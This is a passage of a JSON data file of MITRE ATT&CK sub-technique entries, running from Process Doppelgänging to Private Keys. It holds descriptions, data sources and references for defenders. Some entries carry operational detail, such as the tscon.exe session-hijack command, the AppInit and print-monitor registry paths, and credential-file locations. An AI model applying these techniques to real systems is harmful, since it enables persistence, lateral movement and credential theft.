process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.013", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/013", + "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", + "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx", + "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx", + "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf", + "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", + "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "7007935a-a8a7-4c0b-bd98-4e85be8ed197", + "value": "Process Doppelgänging - T1055.013" + }, + { + "description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "meta": { + "external_id": "T1563.001", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1563/001", + "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219", + "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf", + "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking", + "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident" + ] + }, + "related": [ + { + "dest-uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "type": "subtechnique-of" + } + ], + "uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "value": "SSH Hijacking - T1563.001" + }, + { + "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", + "meta": { + "external_id": "T1573.001", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Process monitoring", + "Process use of network", + "Malware reverse engineering", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1573/001", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", + "type": "subtechnique-of" + } + ], + "uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "value": "Symmetric Cryptography - T1573.001" + }, + { + "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)", + "meta": { + "external_id": "T1137.005", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Mail server", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1137/005", + "https://silentbreaksecurity.com/malicious-outlook-rules/", + "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", + "https://github.com/sensepost/notruler" + ] + }, + "related": [ + { + "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "type": "subtechnique-of" + } + ], + "uuid": "3d1b9d7e-3921-4d25-845a-7d9f15c0da44", + "value": "Outlook Rules - T1137.005" + }, + { + "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", + "meta": { + "external_id": "T1055.014", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "System calls", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055/014", + "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html", + "https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/", + "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/", + "https://lwn.net/Articles/604515/", + "https://www.gnu.org/software/acct/", + "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", + "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "type": "subtechnique-of" + } + ], + "uuid": "98be40f2-c86b-4ade-b6fc-4964932040e5", + "value": "VDSO Hijacking - T1055.014" + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", + "meta": { + "external_id": "T1546.010", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process monitoring", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/010", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://support.microsoft.com/en-us/kb/197571", + "https://msdn.microsoft.com/en-us/library/dn280412", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "value": "AppInit DLLs - T1546.010" + }, + { + "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", + "meta": { + "external_id": "T1547.010", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "API monitoring", + "DLL monitoring", + "Windows Registry", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/010", + "http://msdn.microsoft.com/en-us/library/dd183341", + "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe", + "value": "Port Monitors - T1547.010" + }, + { + "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nSpecific checks may will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as uptime and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", + "meta": { + "external_id": "T1497.001", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1497/001", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/", + "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + ] + }, + "related": [ + { + "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "type": "subtechnique-of" + } + ], + "uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "value": "System Checks - T1497.001" + }, + { + "description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.", + "meta": { + "external_id": "T1558.001", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1558/001", + "https://adsecurity.org/?p=1640", + "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", + "https://adsecurity.org/?p=1515", + "https://adsecurity.org/?p=483", + "https://blog.stealthbits.com/detect-pass-the-ticket-attacks", + "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285" + ] + }, + "related": [ + { + "dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a", + "type": "subtechnique-of" + } + ], + "uuid": "768dce68-8d0d-477a-b01d-0eea98b963a1", + "value": "Golden Ticket - T1558.001" + }, + { + "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to elicit sensitive information and/or gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", + "meta": { + "external_id": "CAPEC-163", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Packet capture", + "Network intrusion detection system", + "Detonation chamber", + "Email gateway", + "Mail server" + ], + "mitre_platforms": [ + "macOS", + "Windows", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1566/001", + "https://capec.mitre.org/data/definitions/163.html" + ] + }, + "related": [ + { + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "type": "subtechnique-of" + } + ], + "uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "value": "Spearphishing Attachment - T1566.001" + }, + { + "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1536) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)", + "meta": { + "external_id": "T1578.001", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "GCP audit logs", + "Stackdriver logs", + "Azure activity logs", + "AWS CloudTrail logs" + ], + "mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1578/001", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html", + "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor", + "https://cloud.google.com/logging/docs/audit#admin-activity", + "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2" + ] + }, + "related": [ + { + "dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90", + "type": "subtechnique-of" + } + ], + "uuid": "ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", + "value": "Create Snapshot - T1578.001" + }, + { + "description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", + "meta": { + "external_id": "T1542.002", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Component firmware", + "Process monitoring", + "Disk forensics", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1542/002", + "https://www.smartmontools.org/", + "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html" + ] + }, + "related": [ + { + "dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", + "type": "subtechnique-of" + } + ], + "uuid": "791481f8-e96a-41be-b089-a088763083d4", + "value": "Component Firmware - T1542.002" + }, + { + "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", + "meta": { + "external_id": "T1543.002", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1543/002", + "http://man7.org/linux/man-pages/man1/systemd.1.html", + "https://www.freedesktop.org/wiki/Software/systemd/", + "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", + "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a", + "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/", + "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html", + "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence" + ] + }, + "related": [ + { + "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "type": "subtechnique-of" + } + ], + "uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", + "value": "Systemd Service - T1543.002" + }, + { + "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", + "meta": { + "external_id": "T1552.003", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1552/003", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + ] + }, + "related": [ + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "type": "subtechnique-of" + } + ], + "uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3", + "value": "Bash History - T1552.003" + }, + { + "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing) \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ", + "meta": { + "external_id": "T1553.002", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1553/002", + "https://en.wikipedia.org/wiki/Code_signing", + "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", + "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" + ] + }, + "related": [ + { + "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", + "type": "subtechnique-of" + } + ], + "uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", + "value": "Code Signing - T1553.002" + }, + { + "description": "Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)", + "meta": { + "external_id": "T1563.002", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Process monitoring", + "Netflow/Enclave netflow", + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1563/002", + "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx", + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://github.com/nccgroup/redsnarf" + ] + }, + "related": [ + { + "dest-uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "type": "subtechnique-of" + } + ], + "uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", + "value": "RDP Hijacking - T1563.002" + }, + { + "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, may protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", + "meta": { + "external_id": "T1573.002", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process use of network", + "Malware reverse engineering", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1573/002", + "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", + "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", + "type": "subtechnique-of" + } + ], + "uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "value": "Asymmetric Cryptography - T1573.002" + }, + { + "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.", + "meta": { + "external_id": "T1552.004", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1552/004", + "https://en.wikipedia.org/wiki/Public-key_cryptography", + "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf", + "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" + ] + }, + "related": [ + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "type": "subtechnique-of" + } + ], + "uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", + "value": "Private Keys - T1552.004" + }, + { + "description": "Adversaries may use hidden users to mask the presence of user accounts they create. Every user 